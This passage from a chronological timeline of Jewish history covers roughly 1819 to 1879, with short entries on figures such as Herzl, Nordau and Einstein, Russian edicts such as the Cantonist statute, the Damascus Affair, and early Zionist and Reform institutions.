child. He embraced Lutheran anti-Judaism and charged that the basis for Judaism is greed and that social emancipation could only be accomplished by freeing society from commercialism, which was associated with Jews. Although many Jews embraced Communism as a panacea, many fled to the haven of socialism or capitalism. Still, the Capitalists call the Jews Communists and vice versa. Marx's theories were published under the title Das Kapital in 1867. 4351 1819 FOUNDING OF THE VEREIN FUER CULTUR UND WISSENSCHAFT DER JUDEN, (The Society for Culture and Science of Judaism) (Germany) Set up by Leopold Zunz and Eduard Gans. It delved into Jewish history, culture, and literature using scientific methods of criticism and assessment. The Society lasted less then five years. Gans and many others converted to Christianity. 4354 1819 GERMAN POGROMS Began in Lubeck, and Bremen. They soon spread to Bamberg, Heidelberg, Frankfurt, Mannheim, and Hamburg. Most of the riots were the consequence of rising nationalism (see 1817), the defeat of the French, and the anti-liberalism that resulted from it all. 4352 1825 REIGN OF CZAR NICHOLAS I, BROTHER OF ALEXANDER (1796-1889) (Russia) Made nervous by liberal developments in neighboring countries, he isolated Russia and banned Western ideas and liberalism. Half of the twelve thousand anti-Jewish laws passed between 1649-1881 originated during his reign. As an officer Nicholas had written in his diary that the Jews were "leeches who attach themselves to the populace and suck its blood." 5483 1826 LAST KNOWN AUTO DA FE (Valencia, Spain) A poor school master was executed for adhering to Judaism. The Auto da Fe ceremony, accompanied by vitriolic sermons, had served to announce the punishments of those who were deemed guilty by the Inquisition of "backsliding". Often, but not always, those deemed guilty were burned at the stake (quemadero). It is estimated that approximately 30,000 people lost their lives, with hundreds of thousand receiving lesser punishments during the almost 350 years that the Inquisition was in existence. 5485 1827 CANTONIST EDICT OF NICHOLAS I (Russia) Czar Nicholas I proclaimed his Statute of Conscription and Military Service which allowed Jewish youths between 12 and 18 to be forcibly conscripted into the army and forced to serve for 25 years. Although drafting of 18 year olds for 25 years or service had been in effect since the 17th century, this statute made military service compulsory. A quota was placed on the Jewish community. Often children were simply kidnapped, which was usually done via an agent called a "Chapper" (grabber in Yiddish), who often disregarded the official minimum age of 12 and took children as young as 8 in order to fill their quota. One of Nicholas' goals was to estrange as many children as possible from the Jewish religion, and he encouraged them to change their names and accept baptism. 5487 1835 CZAR NICHOLAS I (Russia) Similar to Catherine II, Nicholas ordered a Ukase (decree) which restricted the Pale even further banning Jews from living in a 25 mile zone along the western front as well as the cities of Kiev, Nikolaev and Sevastopol. 5564 1840 ABRAHAM GOLDFADEN (Russia) "Father of Modern Jewish Theater". Goldfaden began his career by writing songs and was surprised to find them well received by the public. He composed dozens of songs, over 60 plays, and over 30 operas - all in Yiddish. Some of his plays were translated into Hebrew (Kuni Lemel) and are still produced today. After witnessing local pogroms, he decried assimilation as a solution and became a strong supporter of the Zionist cause. In his last play, Ben Ami, his hero leaves Russia after a pogrom and becomes a pioneer in Eretz Israel. 4404 1840 DAMASCUS AFFAIR (Syria) A blood libel was started with the disappearance of Father Thomas, a Franciscan superior. After a "confession" was extracted from a Jewish barber, seven others were arrested, two of whom died under torture. The French consul Ratti Menton, accused the Jews of ritual murder and requested permission from Mahomet Ali to kill the rest of his suspects. Other Jews were arrested, including sixty three children who were starved to convince their parents to confess. Sir Moses Montefiore, Adolphe Cremieux, and Solomon Munk intervened on behalf of the Jews and in August the charges were dropped. This affair spurred early Zionist writers like Hess to promote the Zionist cause. The United States, England, Russia, Austria, and Prussia also lined up against France, although this had as much to do with international politics as their desire to defend human rights. 4399 1840 ENGLAND Lord Henry Palmerston, the Foreign Secretary, in a letter to the ambassador in Constantinople wrote: "There exists...among the Jews...a strong notion that the time is approaching when their nation is to return to Palestine.... I instruct ... to strongly recommend to the Turkish Government ... to encourage the Jews of Europe to return to Palestine." 4401 1840 HERMAN ZVI SCHAPIRA (Lithuania-Germany) Rabbi, mathematician and Zionist leader. The Russian pogroms of 1881 convinced him that a more activist role was necessary and he was among the first members of the Hovevei Zion movement, and, while a professor at Heidelburg, devoted much of his time to the Zionist ideal. He proposed two revolutionary ideas. One, put forth at the first Zionist congress, was to establish a "general Jewish fund", which would buy up large parcels of land in Eretz Israel and lease them out for agricultural purposes, an idea which led to the establishment of the Jewish National Fund in 1901. His second idea, put forth in an article (1882), was the promotion of a plan to found the first Hebrew University in Eretz Israel. 4403 1840 SULTAN ABDUL MAJID (Ottoman Empire) Under pressure from the Montefiore delegation and world opinion, released the nine survivors. Four had already died. 4398 1842 LONDON (England) First English Reform synagogue was founded. It was known as the West London Synagogue for British Jews. 4407 1843 MARK ANTOKOLSKI ("Mordechai") (Russia) A social-sculptor considered by many to be the father of modern Russian sculpture. He first began with Jewish themes. His statue "Ivan the Terrible" (1871) was purchased for the Hermitage Museum by Czar Alexander. Antokolski believed that sculpture was a social and humane ideal. After many anti-Semitic attacks he moved to Paris. He was a traditional Jew who believed that one day there would be a school of Jewish art. This came true with the foundation of the Bezalel Academy by his student Boris Schatz. 4413 1844 KARL LUEGER (Austria) Founder of an anti-Semitic Austrian Catholic party, the Christian Social Party (in 1893). He became mayor of Vienna in 1897 (see 1897) and was a strong supporter of Christian Socialism. When asked why some of his friends are Jews he replied “ I decide who is a Jew”. Although later praised by Hitler. in Mein Kamph, in reality during his administration, the Jews of Vienna did not suffer more than anywhere else in Europe at the time 4416 1845 DR. DAVID CAMDEN DE LEON (1816-1872) (USA) Was known as a hero of the Mexican War. De Leon served as a doctor under General Zachary Taylor and took charge of the troops after all the other officers were killed. He succeeded in not only saving the troops but encouraging them to counter-attack. For his action, he won a Congressional Citation and earned the nickname of the "Fighting Doctor." He was selected in 1861 by Confederate President Jefferson Davis as the Surgeon General of the Confederacy. 5536 1845 EDMOND DE ROTHSCHILD "Hanadiv Hayaduah" (France) Philanthropist and art expert. Known as the "Builder of Modern Eretz Israel". Rothschild's interest began as early as the mid-1870's after viewing a play by Alexandre Dumas, La Femme de Claude. This play promoted the return of the Jews to their homeland. But it was only after being approached by Rabbi Samuel Mohilever that he became active in supporting the new settlements of Zichron Yaakov and Rishon Lezion and helped establish Ekron and Rosh Pina. Rothschild at first did not wish to use his name and so the soubriquet "Hanadiv Hayaduah" (The well-known benefactor) was used instead. Although later there was tension between the settlers and Rothschild's managers, he single-handedly helped maintain the early efforts of the Zionist movement. Rothschild established PICA, the Palestine Jewish Colonization Association, which acquired land and established industries. It is estimated that he spent over 50 Million dollars in supporting the settlements, as well as another half a million to help develop an electrical power station. 4420 1846 AUSTRIA The Jewish Oath was abolished in Austria. Originally established by Charlemagne, a Jew taking an oath in a Christian court against a Christian was forced to stand on the skin of a dead animal, or be surrounded by thorns and call down the curses of Korach or Naaman if he were not telling the truth. In Romania it was only repealed in the 20th century. 4422 1847 SOLOMON SCHECHTER (Romania-USA) Author, scholar and leader of the American Conservative movement. Born into a Habad-Hassidic family, he studied in Berlin and lectured on Talmud at Cambridge University in England. Schechter won fame for his work in editing and publishing documents recovered from the Cairo Genezah (the synagogue repository for sacred books and articles that are old or torn). He later headed the Jewish Theological Seminary in New York, and in 1913 established the United Synagogue of America. Schechter is considered to have developed much of the theory and ideology of Conservative Judaism, which was founded as a compromise between the Orthodox and Reform movements (see 1913). His works include "Studies in Judaism", "Midreshet Hagadol to Genesis" and "Some Aspects of Rabbinic Theology". 4423 1848 GERMANY In every part of Germany, excluding Bavaria, Jews were granted civil rights. As a result, Gabriel Riesser (a Jew and an advocate for Jewish emancipation) was elected vice-president of the Frankfurt Vor Parliament, and became a member of the National Assembly. It must be noted that for the most part, these freedoms existed only on paper and were not enforced. 4427 1848 REIGN OF FRANZ JOSEPH I OF HAPSBURG (1830-1916) (Austria) Considered to be one of the most enlightened monarchs of the 19th century. During his rule he cancelled many of the restrictions against the Jews and made them full citizens of the state in 1867. During the Mortara Case (1858) he tried in vain to bring about the release of the Jewish child. Franz Joseph was highly appreciated by the Jewish community, to the degree that anti-Semites referred to him as the "Judenkaiser." 4433 1849 JOSEPH CHAIM SONNENFELD (Slovakia-Eretz Israel) One of the foremost leaders of "the "old Yishuv" in Jerusalem. The term "Old Yishuv" refers to those Jews who lived in Eretz Israel prior to the Zionist movement. He was instrumental in establishing (along with Diskin) schools and orphanages. Sonnenfeld was a dynamic rabbinical leader who preached separation between the Orthodox and non-Orthodox communities. At the same time, he was a strong supporter of the resettlement of Eretz Israel and the use of Hebrew as the official language. His scholarly works include responsa on the Shulchan Aruch as well as on the Talmud. 4440 1849 MAX NORDAU (Hungary-France) Author, theater critic, physician and Zionist leader. Nordau had achieved international fame as a writer prior to meeting Herzl at the Neue Freie Presse. The Dreyfus Affair awakened him, as well as Herzl to anti-Semitism. Nordau became Herzl's first convert and together they formulated the goals for the Basel Program. Nordau was a proponent of aggressive political Zionism. His famous "Nordau Plan" called for the settling of five hundred thousand Jews in Eretz Israel as a means of acquiring a Jewish state (1920). Jabotinsky later (1936) adopted Nordau's plan as the basis for his Ten-Year Plan. 4439 1851 EMILE BERLINER (Germany-USA) Inventor and Zionist. He wrote convincingly on the compatibility between Orthodox Judaism and the world of science. He invented the "loose contact telephone transmitter", which was purchased by Bell. Berlinger established the largest telephone company in Europe. He also invented the microphone and the disc record, based on Edison's cylinder inversion. 4444 1852 ALBERT ABRAHAM MICHELSON ( Poland - USA) Physicist known for his work on measuring the speed of light. His theories provided Einstein with the basis for developing his Theory of Relativity.. Michelson was the first (along with Francis G. Pease) to measure the diameter of a star other than the Sun (Betelgeuse). In 1869 he received a special appointment to the naval academy in Annapolis by President U. S. Grant. He received a Nobel Prize in physics in 1907 being the first American to win that prize. His books include The Velocity of Light and Studies in Optics. 6374 1852 MOUNT SINAI HOSPITAL (New York, USA) The first Jewish Hospital in the United States (originally known as "Jews Hospital of New York") was founded by a group of mostly German Jewish immigrants. One of its founders was Samson Simson, one of the first Jewish lawyers in New York City who had studied under Aaron Burr. That same year, he also helped found the Beth Hamedrash Hagodal. Other contributors included Samuel Myer Isaacs, who helped found Maimonides College in Philadelphia, and Adolphus Simeon Solomons, who in 1881 helped Clara Barton found the Red Cross. 4446 1853 HAYIM SOLOVEICHIK (Rav Hayim Brisker) (Russia) Rabbi of Brest-Litvosk. He served as head of the Volozhin Yeshiva and was author of Reb Hayim Al Harambam on Maimonides' Mishneh Torah. A great scholar and brilliant talmudist, he evolved new trends in analytical talmudic study. As its undisputed leader, R. Hayim spent much of his time organizing and helping the community. After the 1895 fire he did much to help rebuild the town. Though stringent in his personal observance, he was often lenient in his decisions for others. 4452 1855 DAVID EINHORN (USA) Arrived in Baltimore. A noted German reformist, he was more radical than Stephen Wise. Due to his anti-slavery views he was forced to flee during the Civil War. He was appointed rabbi in New York at Congregation Adath Jeshurun. 4459 1855 REIGN OF CZAR ALEXANDER II OF RUSSIA Alexander became Czar after his father's death during the Crimean war. Although by no means a liberal, the disaster of the war and comparisons with the West prompted him to make certain changes which included revoking serfdom, establishing local councils (Zemstovs) and reforming the legal system in 1864). Alexander's rise to the throne gave hope to the Jewish population after the harsh policies of Nicholas I. Although he refused to do away with the Pale, he did abolish the forced abduction of Jews into the army and allowed Jewish merchants (for the first time) to temporarily live in Moscow. 4460 1856 AARON DAVID (A.D.) GORDON (Russia-Eretz Israel) A Hebrew writer and philosopher of the "religion of labor", he was considered to be the ideological pillar of the kibbutz movement. Born in 1856 in Russia, he only came to Eretz Israel at the age of 48. Neither his age or health impeded his drive to work in agriculture. He helped found Kibbutz Degania in 1909. Gordon's philosophy included a call for a return to nature. He believed that the self-improvement of each individual rather than external changes (i.e. Marxism) were the means to change Jewish destiny. 4466 1856 ASHER GINSBERG (Ahad Ha'am - "one of the people") (Russia-Eretz Israel) Essayist, philosopher, and founder of Cultural Zionism as opposed to Herzlian Zionism (which advocated diplomacy and mass immigration). He viewed Eretz Israel as a "spiritual center" to be slowly built through cultural and historical devotion rather than settlement activity. He was editor of the Hebrew periodical Hasheloach until 1903. 4465 1856 JERUSALEM (Eretz Israel) Population consisted of 4,000 Sephardim (Orientals) and 1,700 Ashkenazim (Europeans). 4462 1856 LOUIS BRANDEIS (USA) Liberal jurist and lawyer, he was known as "the people's attorney". He opposed monopolies and fought for higher wages and freedom of speech. In 1916 Woodrow Wilson nominated him to the position of Supreme Court Justice. Brandeis was an ardent Zionist, and in 1939 he resigned to devote himself to the Zionist cause. Although he disagreed with Weizmann regarding what he considered to be the economic and organizational inefficiency of the World Zionist Organization, he continued to be involved with the establishment of the Palestine Economic Corporation and the Palestine Endowment Fund. Brandeis fought the Peel Partition Plan of 1937, maintaining that the Jews had a right to all of Mandated Palestine. Kibbutz Ein Hashofet was named in his honor. 4469 1856 SIGMUND FREUD, 'Father of Psychoanalysis' (Vienna, Austria) Developed revolutionary techniques of psychoanalysis, including the idea that dreams represented the disguised fulfillment of subconscious desires. Freud formulated new theories of childhood development (such as the Oedipus complex). Though not a practicing Jew (he considered formal religion a neurosis), he encountered anti-Semitism many times and defended his Jewishness with dignity. His many works include The Ego and the Id, The Interpretation of Dreams, The Psychopathology of Everyday Life, and Moses and Monotheism (on the foundation and characteristics of Judaism). His students included Jung, Adler, and Frenezi. 4468 1859 NAHUM SOKOLOW (Poland-England) Articulate and versatile essayist and publicist. During the 1930s he headed the Jewish Agency and the World Zionist Organization. He was also editor of Hatsefirah and published a history of Zionism, which mainly dealt with the period from 1917-1920. His Hebrew translation of Herzl's Altneuland was entitled Tel Aviv, which subsequently became the name of the first new Jewish city in Eretz Israel. Sokolow collaborated with Weizmann in London to negotiate the Balfour Declaration and its acceptance by Britain's allies. 4487 1859 SHOLEM (ALEICHEM) RABINOWITZ (Kiev, Russia) Famed Yiddish novelist, he wrote in Russian, Yiddish and Hebrew. The characters he created, such as Tevye the Milkman for example, are vivid and memorable. Stempeyu, his first Yiddish novel, helped establish his credentials as the "Yiddish Mark Twain". Sholem Aleichem wrote happy children's tales as well as romances. His pseudonym was originally used to disguise his writings so that his father would not know who wrote them. His father, one of the Maskilim, praised Hebrew and condemned Yiddish. 4486 1860 ALLIANCE ISRAELITE UNIVERSELLE (Kol Yisrael Haverim) (France) Was launched by a group of French Jews under the direction of Adolphe Cremieux. It was designed to defend Jewish rights and to establish modern Jewish educational facilities throughout the world. The Alliance is considered to be the first modern Jewish organization. It became the prototype of other organizations of its kind. The catalyst for its creation was the Damascus Affair in 1840, the Mortara Case in 1858, and the growing need to protect Jews on an international basis. The Franco-Prussian War diminished its universality and separate organizations were formed in Germany and England. 4491 1860 GUSTAV MAHLER (Bohemia-Austria-USA) Major modern Jewish composer of nine symphonies. His eighth, "Symphony of a Thousand", requires one thousand performers. Mahler was forced to convert to Christianity as a prerequisite to accepting the post of director of the Vienna Court Opera. His most important song cycles are Lieder eines fahrenden Gesellen (1884) and Kindertotenlieder (1900-02). During the last 4 years of his life he conducted the Metropolitan Opera and the New York Philharmonic. 4496 1860 HENRIETTA SZOLD (USA) Founder of Hadassah (the American Women's Zionist Organization), which was named after the Hebrew name of Queen Esther. She served as its president until 1926. In 1893 she worked as the secretary of the Jewish Publication Society and translated a number of publications. She was a devoted Zionist and a member of the Zionist Executive. 4500 1860 HUGO PREUSS (Germany) Jurist and liberal politician. He was originally denied a professorship because of his Jewish background, but in spite of this he eventually became Minister of the Interior (see 1921) and headed the committee responsible for drafting the Weimar Constitution. 4501 1860 JERUSALEM (Eretz Israel) The first neighborhood outside the old city wall was dedicated. The site was purchased by Sir Moses Montefiore five years earlier and was known as Mishkenot Sha'ananim. Although there was initial resistance to leaving the "security" of the Old City walls, it soon led to the establishment of dozens of new neighborhoods. 4492 1860 MISHKENOT SHA'ANANIM (Jerusalem, Eretz Israel) The first neighborhood outside the Old City's walls was dedicated. The site was purchased by Sir Moses Montefiore, five years earlier, with $60,000 from the estate of Judah Touro which was left for Montefiore to use at his discretion. Although there was initial resistance to leaving the "security" of the Old City's walls, it soon led to the establishment of dozens of new neighborhoods. 5619 1860 RUFUS ISAACS, FIRST MARQUESS OF READING (England) The grand-nephew of Daniel Mendoza. He achieved unprecedented honor (for a Jew) in England. Starting as a lawyer rather late in life, he was soon renowned for his abilities and was later appointed Lord Chief Judge, as well as Attorney General and Queens Council. Although not active in Jewish affairs, he stated in 1915, "The Jews ought to have a place" and a government of their own." 4498 1860 SIMON DUBNOW (Russia) The most prominent Jewish historian of recent times. He wrote two separate histories: "History of the Jews" and "History of the Jews of Russia and Poland". He believed that the Jews had a cultural autonomy within other nations, and therefore should all speak Yiddish as a common language. Dubnow also encouraged Sholem Aleichem in his writing. Dubnov was killed in Riga in December 1941, allegedly by a Gestapo officer who had at one time been a student of his. 4499 1860 THEODORE HERZL (Hungary-Austria-France) Founder of political Zionism. Born in Budapest, his education was German with little Jewish influence. He became a correspondent and later editor of the Neue Freie Presse in Vienna. For a while he toyed with the idea of converting and felt that mass conversion might solve the problem of anti-Semitism. He was in Paris during the Dreyfus trial, which inspired his idea of a Jewish national homeland. He had never read Hess or Pinsker, but developed the idea of Zionism entirely on his own. Herzl wrote "The Jewish State" in three weeks and then launched his Zionist program. He served as the physical and spiritual head of the World Zionist Organization until his death soon after the Uganda scheme failed to win support. During his life, he met with as many heads of state as possible in order to win support for a national homeland. 4494 1861 DAVID CAMDEN DE LEON (USA) David Camden De Leon, known as "the Fighting Doctor", was appointed as the first surgeon general of the Confederate Army. 4502 1862 RABBI ZEVI HIRSH KALISHER (Poland) Published an appeal for the establishment of agricultural colonies in Eretz Israel in a pamphlet called Drishat Zion (Seeking Zion). 4509 1862 MOSES HESS (1812-75) (Germany) Wrote "Rome and Jerusalem". After his belief in the panacea of socialism waned, he came to the conclusion that anti-Semitism would not be cured by assimilation. Instead, he held that Jews should build their own nation and society in an independent Eretz Israel. 4508 1862 GENERAL GRANT (USA) In issuing his infamous order 11, he ordered all "Jews as a class" expelled from his lines. In New York City 7,000 Jews marched in protest against his decision. Lincoln rescinded Grant's order. 4511 1863 CYRUS ADLER (USA) American rabbi, scholar, and educator. Adler succeeded Solomon Schechter as president of the Jewish Theological Seminary and later became president of Dropsie College in Philadelphia. He was one of the founders of the American Jewish Historical society, the United Synagogue of America, and the American Jewish Committee. 4517 1863 HAYIM OZER GRODZENSKI (Poland) Appointed Rabbi in Vilna at the age of twenty-four. He spent much of his time trying to alleviate the plight of the poor, the yeshivot, and the constant refugees. An early leader of the Agudas Yisroel Movement, he was embroiled in many controversies over liberalism and the Zionist movement, and always maintained a strictly conservative view. His Responsa Achiezer was published in three volumes and established him as a leading Torah authority. 4516 1863 MAXIM VINAVER (Russia) Jewish leader, lawyer, and spokesman for the Jewish "Block" in the Duma. 4515 1863 MENACHEM MENDEL USSISHKIN (Russia-Eretz Israel) Zionist leader. He served as Hebrew Secretary at the First Zionist Congress and bitterly opposed the Uganda plan. His views were expressed in a pamphlet, "Our Program", which advocated group settlement based on labour. Ussishkin was President of the Jewsh National Fund for eighteen years, and he was the force behind large land acquisitions in Emek Hefer and in the Jezreel and Bet Shean valleys. He was one of the few Zionist leaders to actually settle in Israel. 4518 1864 ISRAEL ZANGWILL (England) Celebrated portrayer of the humorous as well as the tragic side of Jewish life in England. As a member of the World Zionist Organization during the Uganda affair, he led a secessionist group to form the Jewish Territorial Organization (J.T.O.). The group did not oppose but also did not insist on Eretz Israel as a national homeland. 4520 1864 NATHAN BIRNBAUM (Mathias Acher) (Austria) Philosopher and early Zionist leader. Although Birnbaum left orthodoxy at a young age, his direction moved into Jewish Nationalism rather than assimilation. He formed Kadimah, a nationalist students organization in 1882 and became one of Herzl's strong supporters. Three years later, he founded and edited the first Jewish nationalist journal in German, Selbstemanzipation, where the term Zionism was first used in a modern sense. He left active Zionist affairs in 1903 over a disagreement on the negation of the Diaspora, and advocated Diaspora nationalism and Yiddish along with Zionism. In the aftermath of WWI he became active in religious organizations becoming the general secretary of Agudat Israel (1919). He wrote numerous articles delineating his religious philosophy of trying to "create the new Jew, based in the Torah, near to nature and to God". 4523 1865 ABRAHAM ISAAC KOOK (Eretz Israel) Proponent of a religious national philosophy. Rav Kook was appointed the first Chief Rabbi of Israel. He tried to broaden the outlook of the yeshivot to cope with modern ideas and train spiritual leaders. His mystical leanings helped him embrace even the non-religious pioneers and earned him the respect of the entire Zionist world. Rav Kook set up his own yeshiva, which later became known as Mercaz Harav. He was an outspoken critic of the British Mandatory government and a staunch defender of the Revisionist movement during the infamous Arlozoroff affair, once he became convinced of their innocence. His many works in philosophy and halacha include Iggeret Hareaya, Orot Hateshuva, Shabbat Haaretz, Daat Kohen, and Mishpat Kohen. 4529 1865 PRESIDENT ABRAHAM LINCOLN (1809-1865) (USA) Was assassinated. Lincoln was the first President to deal with national Jewish problems, including the appointment of Jewish Chaplains in the U.S. Army and his involvement with the expulsion order of Ulysses S. Grant. (see 1862) 4525 1866 SWITZERLAND Jewish rights were ratified. Switzerland was the scene of some of the worst massacres during the Black Plague and a hotbed of anti-Jewish edicts. This legislation was only passed after the United States, Britain, and France refused to sign treaties until their anti-Jewish cantons were repealed. 4531 1868 EMANUEL LASKER (Germany-England) A mathematician by profession, he was the foremost chess champion of his day. In 1892 he won his first major tournament in London. In 1894 he defeated Wilhelm Steinitz for the championship which he defended against Frank Marshall, David Janowski, and others. He held the championship until 1921 when he was defeated by Capablanca with ten draws and four losses. Lasker wrote two classic books on chess: "Common Sense in Chess" (1896) and "Lasker's Manual of Chess." 4547 1870 DI YIDDSHE ZEITUNG (USA) Published by J.K. Buchner, it became the first Yiddish weekly published in the United States. The language itself was more of a German-Yiddish and the paper was conservative rather than socialist in direction. 4553 1870 MIKVEH ISRAEL (Eretz Israel) The first Israeli agricultural school was established by Charles Netter, head of the Alliance Israelites Universelle. He was supported by the Anglo-Jewish Association and Baron Edmond de Rothschild. Mikveh Israel later became an important education center for Youth Aliyah. 4552 1870 BENJAMIN CARDOZO - SUPREME COURT JUDGE (New York, USA) Cardozo belonged to an old Sephardic family and served as Justice of the New York Supreme Court for many years. A tough liberal by nature, he was appointed to the Supreme Court by conservative Herbert Hoover in 1932. The Cardozo College of Law at Yeshiva University was named after him. 4564 1870 NAPOLEON III (France) Resigned his throne and Adolphe Cremieux, a great defender of individual liberty, helped start a provisional government. 4560 1871 MARCEL PROUST (France) French writer. His mother was Jewish but he was raised in the Catholic faith. His most famous work was the seven part A la Recherche du Temps Perdu. Proust persuaded Anatole France to defend Dreyfus. 4573 1872 LEON BLUM (France) Socialist, author, and critic. An activist in the socialist party, he led a coalition to win in 1936. The Vichy government arrested him in 1940 and he spent the rest of the war in an Austrian prison. 4580 1873 HAYIM NAHMAN BIALIK (Eretz Israel) Poet laureate of the Jewish national movement from his debut in 1892 (El Ha-Tsippor - To the Bird) until his death. Bialik wrote both essays and poetry in which he voiced the hopes, joys, and woes of his people. He believed that unfortunately only persecution would move people to accept Zionist aspirations. After the 1903 massacre in Kishinev, Bilalik was asked to visit the site. Afterwards he wrote Beit Ha-hareigah (In the City of Slaughter) where he condemned the cowardice of the local Jews. This served as a catalyst for the organizing of local Jewish defense units. Two of his greatest poems are Metei Midbar (Dead of the Desert) and Megillat Ha'esh (Scroll of Fire). Bialik also translated Don Quixote and William Tell into Hebrew and was president of the Hebrew Language Council. 4584 1873 LEO BAECK (Germany-England) Leading theologian of the Reform movement. He believed in melding modern thought with Jewish ethics. Although the Nazis permitted him to leave in 1938, he chose to remain with his congregation and spent 5 years in Theresienstadt. 4585 1873 PERSIA Shah Nasr-ed-Din and Adolphe Cremieux met to discuss the problems of oppressive social and economic discrimination against the Jews. The Shah agreed to encourage Jewish schools, and work to improve the Jewish condition. Unfortunately, despite his intentions, the government did little to prevent attacks against the Jewish population or to rescind many of the anti-Jewish regulations. 4582 1873 UNION OF AMERICAN HEBREW CONGREGATIONS (USA) Of the Reform Movement was launched in Cincinnati under the leadership of Dr. Isaac Meyer Wise. 4581 1874 ARNOLD SCHOENBERG (Austria-USA) Composer and developer of the Atonal System, which was badly received at first. His works include Guirrelieder and Five Orchestral Pieces. Though born into an Orthodox family in Vienna, he was influenced by Mahler and converted to Christianity in 1898. In response to the anti-Semitic atmosphere in Germany he returned to Judaism in 1933 in a formal religious ceremony and soon after left for the United States. While in the States, he was active in helping German Jewish refugees. Schoenberg also became a staunch Zionist and, if not for his health, would have taken the position of Director of the Rubin Academy of Music in Jerusalem. 4590 1874 CHAIM WEIZMANN (Belarus-England-Eretz Israel) Statesman and scientist. Herzl inspired him, but their many clashes led him to pursue his scientific career with Zionism as a sideline. In 1905 he moved to England where he made many useful contacts. These enabled him to take part in negotiations for the Balfour Declaration. Weizmann later became the head of the World Zionist Organization and was appointed the first president of Israel in 1948. Towards the end of his career he was no longer trusted and was considered to be too pro-British. He was sent on the eve of Independence to negotiate with Truman on the subject of partition. His autobiography is entitled Trial and Error. 4591 1874 GERSHON SIROTA (Ukraine - Poland) Hazzan. Born in Podolia, Sirota served as the cantor in the Great Synagogue, ("Tlomackie Shul") in Warsaw. Sirota was considered one of the most accomplished tenors of his day with an outstanding range. Aside from the thousands who used to come hear him in the synagogue, he made numerous concert tours in Europe and the United States. In 1903, he was invited to make 12 records, the earliest of all liturgical music. He was the only one of the great hazzanim not to leave Europe before WWII. He and his family died in the Warsaw ghetto. 4574 1874 STEPHEN SAMUEL WISE (USA) Rabbi, Zionist leader, and champion of liberal causes. Wise, who was ordained at age 19, became a leading advocate for the Zionist cause. Wise served as president of the American Zionist Organization and chairman of the United Palestine Appeal. As one of the founders of the World Jewish Congress he was among the first to warn about the dangers of Nazism. Wise promoted the freedom of Rabbis to deliver sermons of their choice - "free pulpit" - and not be dependent on the approval of the board of trustees. In 1907 he founded the Free Synagogue in New York and later the Jewish Institute of Religion (see 1922). 4588 1875 HEBREW UNION COLLEGE (Cincinnati, USA) Was opened with the goal of training rabbis to serve in Reform temples. Founded by Isaac Meir Wise, it is the third oldest modern rabbinical college in the world. 4592 1875 SAUL TCHERNICHOWSKY (Russia-Eretz Israel) Hebrew Zionist poet and considered one of the fathers of modern Hebrew poetry. He was noted for his secular humanistic tendencies in modern Jewish nationalism. Tchernichowsky, who studied medicine, served as an army surgeon during World War I and later as a medical inspector of schools in Eretz Israel. He added much to the Hebrew terminology in botany and anatomy. He also edited a dictionary of Hebrew medical terms (1931) Sefer ha-Munnahim L'Refu'ah U'Le-Madda'ei ha-Teva (The Book of Medical and Scientific Terms) and settled in Erez Israel. He was fluent in many languages including Latin and Greek and he translated into Hebrew Homer's Iliad and the Odyssey as well as Sophocles' Oedipus Rex and Shakespeare's Twelfth night and Macbeth. 4597 1876 ARTHUR RUPPIN (Eretz Israel) Zionist, sociologist and father of modern Jewish demography. He founded what was later known as the Israel Land Development Authority (ILDC) which was dedicated to expanding settlement and agriculture. He also helped design new urban quarters in Jerusalem and Tel Aviv. Kfar Ruppin in the Beit Shean Valley was named after him. 4603 1876 BRUNO WALTER (SCHLESINGER) (Germany-USA) German conductor, he was forced to leave when the Nazis took power. Walter served as conductor of the New York Philharmonic and was considered one of the greatest interpreters of Mozart and Mahler. 4604 1876 ETHICAL CULTURE MOVEMENT (USA) Was founded by Felix Adler, a former rabbinical student. Throughout most of his life he kept himself apart from all Jewish interests. He expounded his theories through his writings, i.e. Creed and Deed, An Ethical Philosophy of Life, etc. 4600 1876 SULTAN ABDUL HAMID II (Ottoman Empire) Considered to be a benefactor to Turkish Jews, including Jewish refugees from Romanian persecutions. On the other hand, he disregarded his own constitution and was considered a tyrant when it came to anything which he felt would weaken his authority and rule, which also included Zionism. 4602 1877 JUDAH MAGNES (USA-Eretz Israel) Rabbi and Jewish leader. Though ordained as a Reform rabbi, Magnes was a traditionalist and became close to Solomon Schechter. He was instrumental in helping establish the American Jewish Committee together with his brother-in-law Louis Marshall. Magnes was a strong Zionist who believed in Jewish defense while accepting the unique role of Zionism as proposed by Ahad Ha'am. In 1922 he immigrated to Eretz Israel and helped establish the Hebrew University where he served as chancellor from 1925-35 and first president (1935-48) until his death. 4607 1878 BERLIN CONGRESS (Romania) At a summit of European powers discussing the Balkan region, civil rights were "guaranteed" for Romanian Jews. The Romanian populace and government soon ignored this order. 4610 1878 HERBERT HENRY LEHMAN (USA) Politician, banker, philanthropist. Lehman began his career in the War Department under Franklin Delano Roosevelt, who was then assistant secretary of the Navy. He won the Distinguished Service Medal in World War I as an advisor to the Secretary of War. He continued with Roosevelt acting as lieutenant governor of New York in 1928, and then as governor for 5 terms starting in 1932. Lehman headed the United Nations Relief and Rehabilitation Administration (UNRRA), and later served one term as senator. He was active in the American Jewish Joint Distribution Committee and although not a Zionist, supported the establishment of a Jewish state after the Second World War. 4614 1878 JANUS KORCZAK (Henryk Goldschmidt) (Poland) Doctor, educator, and director of the Jewish Orphanage of Warsaw. Korczak was a pioneer in modern education and child care. He instituted a children's court run by children in his orphanage, insisting that children have rights and must be treated with respect. During the war he refused to wear the yellow star or "accept" the Nazi invasion. Despite the offer of his Polish friends to help him flee the ghetto, he refused to leave "his orphans", preferring to share their fate in Treblinka. 4611 1878 MARTIN BUBER (Galicia-Eretz Israel) Considered by many to be the most prominent philosopher of the twentieth century. As a child, he lived with his grandfather and came into contact with Hasidism, which was later reflected in his work. Most of his philosophies revolve around the I-It and I-Thou relationships of people to G-d and objects. Buber was also concerned with the "Historic" soul of the Jew. He fled in 1938 from Germany to Eretz Israel where he served as a professor in the Hebrew University. His numerous books cover many aspects of Judaism, philosophy, and existentialism. 4615 1879 ALBERT EINSTEIN (Ulm, Germany-USA) Discovered the Theory of Relativity and a theory of photo-effect, which helped pave the way for television. He was a leading anti-war activist during World War I and again after World War II. Together with his rise to fame came his awareness of anti-Semitism, and he emigrated to the United States in 1933 after Hitler's rise to power. Einstein was an outspoken advocate of Zionism and visited Eretz Israel in 1922. His theories helped other physicists to develop the atomic bomb. A pacifist by nature, his comment upon hearing the news of Hiroshima was "Oi Vey." In 1952 he was offered the presidency of Israel as successor to Weizmann, but he declined. 4624 1879 BIRTH OF MODERN ANTI-SEMITISM (Germany) Adolph Stoecker, a German theologian and 